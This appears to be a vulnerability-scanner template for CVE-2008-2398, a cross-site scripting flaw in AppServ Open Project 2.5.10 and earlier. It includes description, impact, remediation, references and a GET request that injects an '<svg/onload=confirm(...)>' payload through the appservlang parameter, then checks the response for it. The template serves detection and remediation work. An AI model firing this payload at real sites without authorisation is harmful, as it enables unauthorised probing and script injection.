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AppServ Open Project <=2.5.10 - Cross-Site Scripting

ID: CVE-2008-2398

Severity: medium

Author: unstabl3

Tags: cve2008,cve,xss,appserv_open_project

AppServ Open Project 2.5.10 and earlier contains a cross-site scripting vulnerability in index.php which allows remote attackers to inject arbitrary web script or HTML via the appservlang parameter.

id: CVE-2008-2398
info:
name: AppServ Open Project <=2.5.10 - Cross-Site Scripting
author: unstabl3
severity: medium
description: AppServ Open Project 2.5.10 and earlier contains a cross-site scripting vulnerability in index.php which allows remote attackers to inject arbitrary web script or HTML via the appservlang parameter.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Upgrade to a patched version of AppServ Open Project (>=2.5.11) or apply the necessary security patches provided by the vendor.
reference:
- https://exchange.xforce.ibmcloud.com/vulnerabilities/42546
- http://securityreason.com/securityalert/3896
- https://nvd.nist.gov/vuln/detail/CVE-2008-2398
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
cvss-score: 4.3
cve-id: CVE-2008-2398
cwe-id: CWE-79
epss-score: 0.00329
epss-percentile: 0.67909
cpe: cpe:2.3:a:appserv_open_project:appserv:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: appserv_open_project
product: appserv
tags: cve2008,cve,xss,appserv_open_project
http:
- method: GET
path:
- "{{BaseURL}}/index.php?appservlang=%3Csvg%2Fonload=confirm%28%27xss%27%29%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<svg/onload=confirm('xss')>"
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 490a0046304402205134864368ccb4cab676cc16b45f8c3cabb0dbc97510d6abc4512e8673e1be5d02202e0b5e1cf07df7fb1a2a6a56c4d9219ce1a1e1d0f270e4775a3aeb2bcfcbfb1c:922c64590222798bb761d5b6d8e72950

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